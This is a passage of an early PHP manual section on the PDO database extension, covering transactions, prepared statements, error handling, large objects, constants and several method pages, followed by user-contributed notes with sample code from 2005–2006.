When the script ends or when a connection is about to be closed, if you have an outstanding transaction, PDO will automatically roll it back. This is a safety measure to help avoid inconsistency in the cases where the script terminates unexpectedly--if you didn't explicitly commit the transaction, then it is assumed that something went awry, so the rollback is performed for the safety of your data.

警告

The automatic rollback only happens if you initiate the transaction via PDO::beginTransaction(). If you manually issue a query that begins a transaction PDO has no way of knowing about it and thus cannot roll it back if something bad happens.

例子 5. Executing a batch in a transaction

In the following sample, let's assume that we are creating a set of entries for a new employee, who has been assigned an ID number of 23. In addition to entering the basic data for that person, we also need to record their salary. It's pretty simple to make two separate updates, but by enclosing them within the PDO::beginTransaction() and PDO::commit() calls, we are guaranteeing that no one else will be able to see those changes until they are complete. If something goes wrong, the catch block rolls back all changes made since the transaction was started, and then prints out an error message.

<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO_ATTR_PERSISTENT => true));
  echo "Connected\n";
  $dbh->setAttribute(PDO_ATTR_ERRMODE, PDO_ERRMODE_EXCEPTION);

  $dbh->beginTransaction();
  $dbh->exec("insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')");
  $dbh->exec("insert into salarychange (id, amount, changedate)
      values (23, 50000, NOW())");
  $dbh->commit();

} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

You're not limited to making updates in a transaction; you can also issue complex queries to extract data, and possibly use that information to build up more updates and queries; while the transaction is active, you are guaranteed that no one else can make changes while you are in the middle of your work. In truth, this isn't 100% correct, but it is a good-enough introduction, if you've never heard of transactions before.

Prepared statements and stored procedures

Many of the more mature databases support the concept of prepared statements. What are they? You can think of them as a kind of compiled template for the SQL that you want to run, that can be customized using variable parameters. Prepared statements offer two major benefits:

  • The query only needs to be parsed (or prepared) once, but can be executed multiple times with the same or different parameters. When the query is prepared, the database will analyze, compile and optimize it's plan for executing the query. For complex queries this process can take up enough time that it will noticably slow down your application if you need to repeat the same query many times with different parameters. By using a prepared statement you avoid repeating the analyze/compile/optimize cycle. In short, prepared statements use fewer resources and thus run faster.

  • The parameters to prepared statements don't need to be quoted; the driver handles it for you. If your application exclusively uses prepared statements, you can be sure that no SQL injection will occur. (However, if you're still building up other parts of the query based on untrusted input, you're still at risk).

Prepared statements are so useful that they are the only feature that PDO will emulate for drivers that don't support them. This ensures that you will be able to use the same data access paradigm regardless of the capabilities of the database.

例子 6. Repeated inserts using prepared statements

This example performs an INSERT query by substituting a name and a value for the named placeholders.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>

例子 7. Repeated inserts using prepared statements

This example performs an INSERT query by substituting a name and a value for the positional ? placeholders.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>

例子 8. Fetching data using prepared statements

This example fetches data based on a key value supplied by a form. The user input is automatically quoted, so there is no risk of a SQL injection attack.

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
}
?>

If the database driver supports it, you may also bind parameters for output as well as input. Output parameters are typically used to retrieve values from stored procedures. Output parameters are slightly more complex to use than input parameters, in that you must know how large a given parameter might be when you bind it. If the value turns out to be larger than the size you suggested, an error is raised.

例子 9. Calling a stored procedure with an output parameter

<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO_PARAM_STR, 4000);

// call the stored procedure
$stmt->execute();

print "procedure returned $return_value\n";
?>

You may also specify parameters that hold values both input and output; the syntax is similar to output parameters. In this next example, the string 'hello' is passed into the stored procedure, and when it returns, hello is replaced with the return value of the procedure.

例子 10. Calling a stored procedure with an input/output parameter

<?php
$stmt = $dbh->prepare("CALL sp_takes_string_returns_string(?)");
$value = 'hello';
$stmt->bindParam(1, $value, PDO_PARAM_STR|PDO_PARAM_INPUT_OUTPUT, 4000);

// call the stored procedure
$stmt->execute();

print "procedure returned $value\n";
?>

Errors and error handling

PDO offers you a choice of 3 different error handling strategies, to fit your style of application development.

  • PDO_ERRMODE_SILENT

    This is the default mode. PDO will simply set the error code for you to inspect using the PDO::errorCode() and PDO::errorInfo() methods on both the statement and database objects; if the error resulted from a call on a statement object, you would invoke the PDOStatement::errorCode() or PDOStatement::errorInfo() method on that object. If the error resulted from a call on the database object, you would invoke those methods on the database object instead.

  • PDO_ERRMODE_WARNING

    In addition to setting the error code, PDO will emit a traditional E_WARNING message. This setting is useful during debugging/testing, if you just want to see what problems occurred without interrupting the flow of the application.

  • PDO_ERRMODE_EXCEPTION

    In addition to setting the error code, PDO will throw a PDOException and set its properties to reflect the error code and error information. This setting is also useful during debugging, as it will effectively "blow up" the script at the point of the error, very quickly pointing a finger at potential problem areas in your code (remember: transactions are automatically rolled back if the exception causes the script to terminate).

    Exception mode is also useful because you can structure your error handling more clearly than with traditional PHP-style warnings, and with less code/nesting than by running in silent mode and explicitly checking the return value of each database call.

PDO standardizes on using SQL-92 SQLSTATE error code strings; individual PDO drivers are responsible for mapping their native codes to the appropriate SQLSTATE codes. The PDO::errorCode() method returns a single SQLSTATE code. If you need more specific information about an error, PDO also offers an PDO::errorInfo() method which returns an array containing the SQLSTATE code, the driver specific error code and driver specific error string.

Large Objects (LOBs)

At some point in your application, you might find that you need to store "large" data in your database. Large typically means "around 4kb or more", although some databases can happily handle up to 32kb before data becomes "large". Large objects can be either textual or binary in nature. PDO allows you to work with this large data type by using the PDO_PARAM_LOB type code in your PDOStatement::bindParam() or PDOStatement::bindColumn() calls. PDO_PARAM_LOB tells PDO to map the data as a stream, so that you can manipulate it using the PHP Streams API.

例子 11. Displaying an image from a database

This example binds the LOB into the variable named $lob and then sends it to the browser using fpassthru(). Since the LOB is represented as a stream, functions such as fgets(), fread() and stream_get_contents() can be used on it.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO_PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO_PARAM_LOB);
$stmt->fetch(PDO_FETCH_BOUND);

header("Content-Type: $type");
fpassthru($lob);
?>

例子 12. Inserting an image into a database

This example opens up a file and passes the file handle to PDO to insert it as a LOB. PDO will do its best to get the contents of the file up to the database in the most efficient manner possible.

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // some function to allocate a new ID

// assume that we are running as part of a file upload form
// You can find more information in the PHP documentation

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO_PARAM_LOB);

$stmt->execute();
?>

预定义类

PDO

Represents a connection between PHP and a database server.

构造函数

  • PDO - constructs a new PDO object

方法

  • beginTransaction - begins a transaction

  • commit - commits a transaction

  • errorCode - retrieves an error code, if any, from the database

  • errorInfo - retrieves an array of error information, if any, from the database

  • exec - issues an SQL statement and returns the number of affected rows

  • getAttribute - retrieves a database connection attribute

  • lastInsertId - retrieves the value of the last row that was inserted into a table

  • prepare - prepares an SQL statement for execution

  • query - issues an SQL statement and returns a result set

  • quote - returns a quoted version of a string for use in SQL statements

  • rollBack - roll back a transaction

  • setAttribute - sets a database connection attribute

PDOStatement

Represents a prepared statement and, after the statement is executed, an associated result set.

方法

  • bindColumn - binds a PHP variable to an output column in a result set

  • bindParam - binds a PHP variable to a parameter in the prepared statement

  • bindValue - binds a value to a parameter in the prepared statement

  • closeCursor - closes the cursor, allowing the statement to be executed again

  • columnCount - returns the number of columns in the result set

  • errorCode - retrieves an error code, if any, from the statement

  • errorInfo - retrieves an array of error information, if any, from the statement

  • execute - executes a prepared statement

  • fetch - fetches a row from a result set

  • fetchAll - fetches an array containing all of the rows from a result set

  • fetchColumn - returns the data from a single column in a result set

  • getAttribute - retrieves a PDOStatement attribute

  • getColumnMeta - retrieves metadata for a column in the result set

  • nextRowset - retrieves the next rowset (result set)

  • rowCount - returns the number of rows that were affected by the execution of an SQL statement

  • setAttribute - sets a PDOStatement attribute

  • setFetchMode - sets the fetch mode for a PDOStatement

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

PDO_PARAM_BOOL (integer)

Represents a boolean data type.

PDO_PARAM_NULL (integer)

Represents the SQL NULL data type.

PDO_PARAM_INT (integer)

Represents the SQL INTEGER data type.

PDO_PARAM_STR (integer)

Represents the SQL CHAR, VARCHAR, or other string data type.

PDO_PARAM_LOB (integer)

Represents the SQL large object data type.

PDO_PARAM_STMT (integer)

PDO_PARAM_INPUT_OUTPUT (integer)

Specifies that the parameter is an INOUT parameter for a stored procedure. You must bitwise-OR this value with an explicit PDO_PARAM_* data type.

PDO_FETCH_LAZY (integer)

Specifies that the fetch method shall return each row as an object with variable names that correspond to the column names returned in the result set. PDO_FETCH_LAZY creates the object variable names as they are accessed.

PDO_FETCH_ASSOC (integer)

Specifies that the fetch method shall return each row as an array indexed by column name as returned in the corresponding result set. If the result set contains multiple columns with the same name, PDO_FETCH_ASSOC returns only a single value per column name.

PDO_FETCH_NAMED (integer)

Specifies that the fetch method shall return each row as an array indexed by column name as returned in the corresponding result set. If the result set contains multiple columns with the same name, PDO_FETCH_NAMED returns an array of values per column name.

PDO_FETCH_NUM (integer)

Specifies that the fetch method shall return each row as an array indexed by column number as returned in the corresponding result set, starting at column 0.

PDO_FETCH_BOTH (integer)

Specifies that the fetch method shall return each row as an array indexed by both column name and number as returned in the corresponding result set, starting at column 0.

PDO_FETCH_OBJ (integer)

Specifies that the fetch method shall return each row as an object with property names that correspond to the column names returned in the result set.

PDO_FETCH_BOUND (integer)

Specifies that the fetch method shall return TRUE and assign the values of the columns in the result set to the PHP variables to which they were bound with the PDOStatement::bindParam() or PDOStatement::bindColumn() methods.

PDO_FETCH_COLUMN (integer)

Specifies that the fetch method shall return only a single requested column from the next row in the result set.

PDO_FETCH_CLASS (integer)

Specifies that the fetch method shall return a new instance of the requested class, mapping the columns to named properties in the class.

PDO_FETCH_INTO (integer)

Specifies that the fetch method shall update an existing instance of the requested class, mapping the columns to named properties in the class.

PDO_FETCH_FUNC (integer)

PDO_FETCH_GROUP (integer)

PDO_FETCH_UNIQUE (integer)

PDO_FETCH_CLASSTYPE (integer)

PDO_ATTR_AUTOCOMMIT (integer)

If this value is FALSE, PDO attempts to disable autocommit so that the connection begins a transaction.

PDO_ATTR_PREFETCH (integer)

Setting the prefetch size allows you to balance speed against memory usage for your application. Not all database/driver combinations support setting of the prefetch size.

PDO_ATTR_TIMEOUT (integer)

Sets the timeout value in seconds for communications with the database.

PDO_ATTR_ERRMODE (integer)

PDO_ATTR_SERVER_VERSION (integer)

PDO_ATTR_CLIENT_VERSION (integer)

PDO_ATTR_SERVER_INFO (integer)

PDO_ATTR_CONNECTION_STATUS (integer)

PDO_ATTR_CASE (integer)

Force column names to a specific case specified by the PDO_CASE_* constants.

PDO_ATTR_CURSOR_NAME (integer)

PDO_ATTR_CURSOR (integer)

PDO_ATTR_DRIVER_NAME (string)

Returns the name of the driver.

PDO_ATTR_ORACLE_NULLS (integer)

Convert empty strings to SQL NULL values.

PDO_ATTR_PERSISTENT (integer)

Request a persistent connection, rather than creating a new connection.

PDO_ATTR_FETCH_CATALOG_NAMES (integer)

Prepend the containing catalog name to each column name returned in the result set. The catalog name and column name are separated by a decimal (.) character.

PDO_ATTR_FETCH_TABLE_NAMES (integer)

Prepend the containing table name to each column name returned in the result set. The table name and column name are separated by a decimal (.) character.

PDO_ERRMODE_SILENT (integer)

Do not raise an error or exception if an error occurs. The developer is expected to explicitly check for errors. This is the default mode.

PDO_ERRMODE_WARNING (integer)

Issue a PHP E_WARNING message if an error occurs.

PDO_ERRMODE_EXCEPTION (integer)

Throw a PDOException if an error occurs.

PDO_CASE_NATURAL (integer)

Leave column names as returned by the database driver.

PDO_CASE_LOWER (integer)

Force column names to lower case.

PDO_CASE_UPPER (integer)

Force column names to upper case.

PDO_FETCH_ORI_NEXT (integer)

Fetch the next row in the result set. Valid only for scrollable cursors.

PDO_FETCH_ORI_PRIOR (integer)

Fetch the previous row in the result set. Valid only for scrollable cursors.

PDO_FETCH_ORI_FIRST (integer)

Fetch the first row in the result set. Valid only for scrollable cursors.

PDO_FETCH_ORI_LAST (integer)

Fetch the last row in the result set. Valid only for scrollable cursors.

PDO_FETCH_ORI_ABS (integer)

Fetch the requested row by row number from the result set. Valid only for scrollable cursors.

PDO_FETCH_ORI_REL (integer)

Fetch the requested row by relative position from the current position of the cursor in the result set. Valid only for scrollable cursors.

PDO_CURSOR_FWDONLY (integer)

Create a PDOStatement object with a forward-only cursor. This may improve the performance of your application but restricts your PDOStatement object to fetching one row at a time from the result set in a forward direction.

PDO_CURSOR_SCROLL (integer)

Create a PDOStatement object with a scrollable cursor. Pass the PDO_FETCH_ORI_* constants to control the rows fetched from the result set.

PDO_ERR_NONE (string)

Corresponds to SQLSTATE '00000', meaning that the SQL statement was successfully issued with no errors or warnings.

目录
PDO::beginTransaction -- Initiates a transaction
PDO::commit -- Commits a transaction
PDO::__construct -- Creates a PDO instance representing a connection to a database
PDO::errorCode -- Fetch the SQLSTATE associated with the last operation on the database handle
PDO::errorInfo -- Fetch extended error information associated with the last operation on the database handle
PDO::exec -- Execute an SQL statement and return the number of affected rows
PDO::getAttribute -- Retrieve a database connection attribute
PDO::lastInsertId -- Returns the ID of the last inserted row or sequence value
PDO::prepare -- Prepares a statement for execution and returns a statement object
PDO::query -- Executes an SQL statement, returning a result set as a PDOStatement object
PDO::quote -- Quotes a string for use in a query.
PDO::rollBack -- Rolls back a transaction
PDO::setAttribute -- Set an attribute
PDOStatement::bindColumn -- Bind a column to a PHP variable
PDOStatement::bindParam -- Binds a parameter to the specified variable name
PDOStatement::bindValue -- Binds a value to a parameter
PDOStatement::closeCursor -- Closes the cursor, enabling the statement to be executed again.
PDOStatement::columnCount -- Returns the number of columns in the result set
PDOStatement::errorCode -- Fetch the SQLSTATE associated with the last operation on the statement handle
PDOStatement::errorInfo -- Fetch extended error information associated with the last operation on the statement handle
PDOStatement::execute -- Executes a prepared statement
PDOStatement::fetch -- Fetches the next row from a result set
PDOStatement::fetchAll -- Returns an array containing all of the result set rows
PDOStatement::fetchColumn -- Returns a single column from the next row of a result set
PDOStatement::getAttribute -- Retrieve a statement attribute
PDOStatement::getColumnMeta -- Returns metadata for a column in a result set
PDOStatement::nextRowset -- Advances to the next rowset in a multi-rowset statement handle
PDOStatement::rowCount -- Returns the number of rows affected by the last SQL statement
PDOStatement::setAttribute -- Set a statement attribute
PDOStatement::setFetchMode -- Set the default fetch mode for this statement
pdo_drivers -- Return an array of available PDO drivers

add a note add a note User Contributed Notes
nicolas at serpe dot org
22-May-2006 03:36
I use PDO with the ODBC driver to query stored procedures in a MS SQL Server 2005 Database under Windows XP Professional with IIS 5 and PHP 5.1.4. You may have the same problems with a different configuration.

I experienced 2 very time consuming errors:

1. The first one is when you return the result of a SELECT query, and you get the following clueless message:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[24000]: Invalid cursor state: 0 [Microsoft][SQL Native Client]Invalid cursor state (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Your exact message may be different, the part to pay attention to is "Invalid cursor state".

-> I found that I had this error because I didn't include "SET NOCOUNT ON" in the *body* of the stored procedure. By default the server returns a special piece of information along with the results, indicating how many rows were affected by the stored procedure, and that's not handled by PDO.

2. The second error I had was:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[22003]: Numeric value out of range: 0 [Microsoft][SQL Native Client]Numeric value out of range (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Another meaningless error "Numeric value out of range"...

-> I was actually returning a date datatype (datetime or smalldatetime) "as is", that is, without converting it to varchar before including it in the result set... I don't know if PDO is responsible for converting it to a PHP datatype, but it doesn't. Convert it before it reaches PHP.
pokojny at radlight dot com
23-Apr-2006 11:50
I wanted to extend PDO class to store statistics of DB usage, and I faced some problems. I wanted to count number of created statements and number of their executings. So PDOStatement should have link to PDO that created it and stores the statistical info. The problem was that I didn't knew how PDO creates PDOStatement (constructor parameters and so on), so I have created these two classes:

<?php
/**
 * PHP Document Object plus
 *
 * PHP Document Object plus is library with functionality of PDO, entirely written
 * in PHP, so that developer can easily extend it's classes with specific functionality,
 * such as providing database usage statistics implemented in v1.0b
 *
 * @author Peter Pokojny
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 */
   class PDOp {
       protected $PDO;
       public $numExecutes;
       public $numStatements;
       public function __construct($dsn, $user=NULL, $pass=NULL, $driver_options=NULL) {
           $this->PDO = new PDO($dsn, $user, $pass, $driver_options);
           $this->numExecutes = 0;
           $this->numStatements = 0;
       }
       public function __call($func, $args) {
           return call_user_func_array(array(&$this->PDO, $func), $args);
       }
       public function prepare() {
           $this->numStatements++;

           $args = func_get_args();
           $PDOS = call_user_func_array(array(&$this->PDO, 'prepare'), $args);

           return new PDOpStatement($this, $PDOS);
       }
       public function query() {
           $this->numExecutes++;
           $this->numStatements++;

           $args = func_get_args();
           $PDOS = call_user_func_array(array(&$this->PDO, 'query'), $args);

           return new PDOpStatement($this, $PDOS);
       }
       public function exec() {
           $this->numExecutes++;

           $args = func_get_args();
           return call_user_func_array(array(&$this->PDO, 'exec'), $args);
       }
   }
   class PDOpStatement implements IteratorAggregate {
       protected $PDOS;
       protected $PDOp;
       public function __construct($PDOp, $PDOS) {
           $this->PDOp = $PDOp;
           $this->PDOS = $PDOS;
       }
       public function __call($func, $args) {
           return call_user_func_array(array(&$this->PDOS, $func), $args);
       }
       public function bindColumn($column, &$param, $type=NULL) {
           if ($type === NULL)
               $this->PDOS->bindColumn($column, $param);
           else
               $this->PDOS->bindColumn($column, $param, $type);
       }
       public function bindParam($column, &$param, $type=NULL) {
           if ($type === NULL)
               $this->PDOS->bindParam($column, $param);
           else
               $this->PDOS->bindParam($column, $param, $type);
       }
       public function execute() {
           $this->PDOp->numExecutes++;
           $args = func_get_args();
           return call_user_func_array(array(&$this->PDOS, 'execute'), $args);
       }
       public function __get($property) {
           return $this->PDOS->$property;
       }
       public function getIterator() {
           return $this->PDOS;
       }
   }
?>

Classes have properties with original PDO and PDOStatement objects, which are providing the functionality to PDOp and PDOpStatement.
From outside, PDOp and PDOpStatement look like PDO and PDOStatement, but also are providing wanted info.
keyvez at hotmail dot com
10-Mar-2006 04:49
PDO doesn't return OUTPUT params from mssql stored procedures

/* Stored Procedure Create Code: */
/*
CREATE PROCEDURE p_sel_all_termlength @err INT OUTPUT AS
SET @err = 2627
*/

/* PHP Code: */
<?php
   $Link = new PDO('mssql:host=sqlserver;dbname=database', 'username',
'password');

   $ErrorCode = 0;

   $Stmt = $Link->prepare('p_sel_all_termlength ?');
   $Stmt->bindParam(1,$ErrorCode,PDO::PARAM_INT,4);
   $Stmt->execute();
   echo "Error = " . $ErrorCode . "\n";
?>

/* PHP Output:
Error = 0
*/
www.navin.biz
20-Feb-2006 02:16
Below is an example of extending PDO & PDOStatement classes:

<?php

class Database extends PDO
{
   function __construct()
   {
       parent::__construct('mysql:dbname=test;host=localhost', 'root', '');
       $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
   }
}

class DBStatement extends PDOStatement
{
   public $dbh;

   protected function __construct($dbh)
   {
       $this->dbh = $dbh;
       $this->setFetchMode(PDO::FETCH_OBJ);
   }

   public function foundRows()
   {
       $rows = $this->dbh->prepare('SELECT found_rows() AS rows', array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => TRUE));
       $rows->execute();
       $rowsCount = $rows->fetch(PDO::FETCH_OBJ)->rows;
       $rows->closeCursor();
       return $rowsCount;
   }
}

?>
Dariusz Kielar
13-Feb-2006 02:50
I found a nice pdo modification written in php called Open Power Driver. It has identical API with the original, but allows you to cache query results: http://www.openpb.net/opd.php
shaolin at adf dot nu
08-Feb-2006 10:18
If your having problems re-compiling PHP with PDO as shared module try this.

--enable-pdo=shared
--with-pdo-mysql=shared,/usr/local/mysql
--with-sqlite=shared
--with-pdo-sqlite=shared

1. If PDO is built as a shared modules, all PDO drivers must also be
built as shared modules.
2. If ext/pdo_sqlite is built as a shared module, ext/sqlite must also
be built as a shared module.
3. In the extensions entries, if ext/pdo_sqlite is built as a shared
module, php.ini must specify pdo_sqlite first, followed by sqlite.
tomasz dot wasiluk at gmail dot com
01-Jan-2006 08:09
Watch out for putting spaces in the DSN
mysql:host=localhost;dbname=test works
mysql: host = localhost; dbname=test works
mysql: host = localhost; dbname = test doesn't work...
Matthias Leuffen
04-Dec-2005 05:36
Hi there,

because of ZDE 5.0 and other PHP-IDEs do not seem to support PDO from PHP5.1 in code-completion-database yet, I wrote a code-completion alias for the PDO class.
NOTE: This Class has no functionality and should be only included to your IDE-Project but NOT(!) to your application.

<?php
/**
 * This is a Code-Completion only file
 * (For use with ZDE or other IDEs)
 *
 * Do NOT include() or require() this to your code
 *
 * @author Matthias Leuffen
 */

   class PDO {

       /**
         * Error Constants
         *
         */
       const ERR_ALREADY_EXISTS = 0;
       const ERR_CANT_MAP = 0;
       const ERR_NOT_FOUND = 0;
       const ERR_SYNTAX = 0;
       const ERR_CONSTRAINT = 0;
       const ERR_MISMATCH = 0;
       const ERR_DISCONNECTED = 0;
       const ERR_NONE = 0;

       /**
         * Attributes (to use in PDO::setAttribute() as 1st Parameter)
         *
         */
       const ATTR_ERRMODE = 0;
       const ATTR_TIMEOUT = 0;
       const ATTR_AUTOCOMMIT = 0;
       const ATTR_PERSISTENT = 0;

       // Values for ATTR_ERRMODE
       const ERRMODE_EXCEPTION = 0;
       const ERRMODE_WARNING = 0;

       const FETCH_ASSOC = 0;
       const FETCH_NUM = 0;
       const FETCH_OBJ = 0;

       public function __construct($uri, $user, $pass, $optsArr) {
       }

       /**
         * Prepare Statement: Returns PDOStatement
         *
         * @param string $prepareString
         * @return PDOStatement
         */
       public function prepare ($prepareString) {
       }
       public function query ($queryString) {
       }
       public function quote ($input) {
       }
       public function exec ($statement) {
       }
       public function lastInsertId() {
       }
       public function beginTransaction () {
       }
       public function commit () {
       }
       public function rollBack () {
       }
       public function errorCode () {
       }
       public function errorInfo () {
       }
   }

   class PDOStatement {

       public function bindValue ($no, $value) {
       }
       public function fetch () {
       }
       public function nextRowset () {
       }
       public function execute() {
       }
       public function errorCode () {
       }
       public function errorInfo () {
       }
       public function rowCount () {
       }
       public function setFetchMode ($mode) {
       }
       public function columnCount () {
       }
   }
ng4rrjanbiah at rediffmail dot com
16-Mar-2005 02:53
Some useful links on PDO:
1. PDO Wiki ( http://wiki.cc/php/PDO )
2. Introducing PHP Data Objects ( http://netevil.org/downloads/Introducing-PDO.ppt ), [226 KB], Wez Furlong, 2004-09-24
3. The PHP 5 Data Object (PDO) Abstraction Layer and Oracle ( http://www.oracle.com/technology/pub/articles/php_experts/otn_pdo_oracle5.html ), [60.85 KB], Wez Furlong, 2004-07-28
4. PDO - Why it should not be part of core PHP! ( http://www.akbkhome.com/blog.php/View/55/ ), Critical review, [38.63 KB], Alan Knowles, 2004-10-22

HTH,
R. Rajesh Jeba Anbiah
add a note add a note

后退 | 起点 | 前进
pdf_translate | 上一级 | PDO::beginTransaction


PDO::beginTransaction

(no version information, might be only in CVS)

PDO::beginTransaction -- Initiates a transaction

说明

bool PDO::beginTransaction ( void )

Turns off autocommit mode. While autocommit mode is turned off, changes made to the database via the PDO object instance are not committed until you end the transaction by calling PDO::commit(). Calling PDO::rollback() will roll back all changes to the database and return the connection to autocommit mode.

Some databases, including MySQL, automatically issue an implicit COMMIT when a database definition language (DDL) statement such as DROP TABLE or CREATE TABLE is issued within a transaction. The implicit COMMIT will prevent you from rolling back any other changes within the transaction boundary.

范例

例子 1. Roll back a transaction

The following example begins a transaction and issues two statements that modify the database before rolling back the changes. On MySQL, however, the DROP TABLE statement automatically commits the transaction so that none of the changes in the transaction are rolled back.

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema and data */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* Recognize mistake and roll back changes */
$dbh->rollBack();

/* Database connection is now back in autocommit mode */
?>

参见

PDO::commit()
PDO::rollBack()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO Functions | 上一级 | PDO::commit


PDO::commit

(no version information, might be only in CVS)

PDO::commit -- Commits a transaction

说明

bool PDO::commit ( void )

Commits a transaction, returning the database connection to autocommit mode until the next call to PDO::beginTransaction() starts a new transaction.

范例

例子 1. Commit a transaction

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema */
$sth = $dbh->exec("DROP TABLE fruit");

/* Commit the changes */
$dbh->commit();

/* Database connection is now back in autocommit mode */
?>

参见

PDO::beginTransaction()
PDO::rollBack()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::beginTransaction | 上一级 | PDO::__construct


PDO::__construct

(no version information, might be only in CVS)

PDO::__construct -- Creates a PDO instance representing a connection to a database

说明

PDO PDO::__construct ( string dsn [, string username [, string password [, array driver_options]]] )

Creates a PDO instance to represent a connection to the requested database.

参数

dsn

The Data Source Name, or DSN, contains the information required to connect to the database.

In general, a DSN consists of the PDO driver name, followed by a colon, followed by the PDO driver-specific connection syntax. Further information is available from the PDO driver-specific documentation.

The dsn parameter supports three different methods of specifying the arguments required to create a database connection:

Driver invocation

dsn contains the full DSN.

URI invocation

dsn consists of uri: followed by a URI that defines the location of a file containing the DSN string. The URI can specify a local file or a remote URL.

uri:file:///path/to/dsnfile

Aliasing

dsn consists of a name name that maps to pdo.dsn.name in php.ini defining the DSN string.

注: The alias must be defined in php.ini, and not .htaccess or httpd.conf

username

The user name for the DSN string. This parameter is optional for some PDO drivers.

password

The password for the DSN string. This parameter is optional for some PDO drivers.

driver_options

A key=>value array of driver-specific connection options.

返回值

Returns a PDO object on success.

异常

PDO::construct() throws a PDOException if the attempt to connect to the requested database fails.

范例

例子 1. Create a PDO instance via driver invocation

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

例子 2. Create a PDO instance via URI invocation

The following example assumes that the file /usr/local/dbconnect exists with file permissions that enable PHP to read the file. The file contains the PDO DSN to connect to a DB2 database through the PDO_ODBC driver:

odbc:DSN=SAMPLE;UID=john;PWD=mypass

The PHP script can then create a database connection by simply passing the uri: parameter and pointing to the file URI:

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'uri:file:///usr/local/dbconnect';
$user = '';
$password = '';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

例子 3. Create a PDO instance using an alias

The following example assumes that php.ini contains the following entry to enable a connection to a MySQL database using only the alias mydb:
[PDO]
pdo.dsn.mydb="mysql:dbname=testdb;host=localhost"

<?php
/* Connect to an ODBC database using an alias */
$dsn = 'mydb';
$user = '';
$password = '';

try {
    $dbh = new PDO($dsn, $user, $password);
}catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

add a note add a note User Contributed Notes
pirasennaNSE at gmail dot com
15-May-2006 09:34
This code will search records of a table and print it as a HTML table.
<?php

//Connecting using PDO
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test',
                       'admin', 'password', array(PDO::ATTR_PERSISTENT => true));
       // Note: if you want failures to be reflected as exception,
       // set this flag.
       // if this value is not set, and query fails for some reason
       // it will return a boolean variable instead of the exception.
     $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

   // Performing SQL query
   $sql = 'SELECT * FROM tablename';

   // Printing results in HTML
       $results = $dbh->query($sql);
       $numCols = $results->columnCount();
   echo "<table border='1'>\n";
   echo "\t<tr>\n";
   for($i = 0; $i < $numCols; ++$i) {
           $colMeta = $results->getColumnMeta($i);
       echo "\t\t<td>". $colMeta['name'] ."</td>\n";
       }
   echo "\t</tr>\n";

       // fetch returns a resultset indexed based on parameter
       // you passed.  You can't do
       // foreach($results->fetch(PDO::FETCH_*) as $row).
       $result = $results->fetch(PDO::FETCH_NUM);
       do {
           echo "\t<tr>\n";
           for($i = 0; $i < $numCols; ++$i) {
               echo "\t\t<td>$result[$i]</td>\n";
           }
       echo "\t</tr>\n";
       } while($result = $results->fetch(PDO::FETCH_ASSOC));
   echo "</table>\n";
} catch(PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>
Sasa dot Radovanovic at gmail dot com
09-Dec-2005 03:08
Since PDO can't destroyed by a call to some function e.q. close/destroy, if we'd want to get rid of it, we'd have to destroy all references to the object.

This can be quite a hassle if our database connection is passed through a layer of objects (where possible each object needs the db conn).
